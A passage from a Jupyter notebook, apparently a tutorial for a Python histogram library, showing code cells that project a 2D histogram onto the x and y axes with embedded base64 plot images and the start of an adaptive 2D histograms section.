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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "proj1 = histogram.projection(\"x\", name=\"Projection to X\")\n", "proj1.plot(errors=True)\n", "proj1" ] }, { "cell_type": "code", "execution_count": 22, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "Histogram1D('Projection to Y', bins=(7,), total=1000, dtype=int64)" ] }, "execution_count": 22, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "proj2 = histogram.projection(\"y\", name=\"Projection to Y\")\n", "proj2.plot(errors=True)\n", "proj2" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Adaptive 2D histograms" ] }, { "cell_type": "code", "execution_count": 23, "metadata": {}, "outputs": [ { "data": { "image/png": "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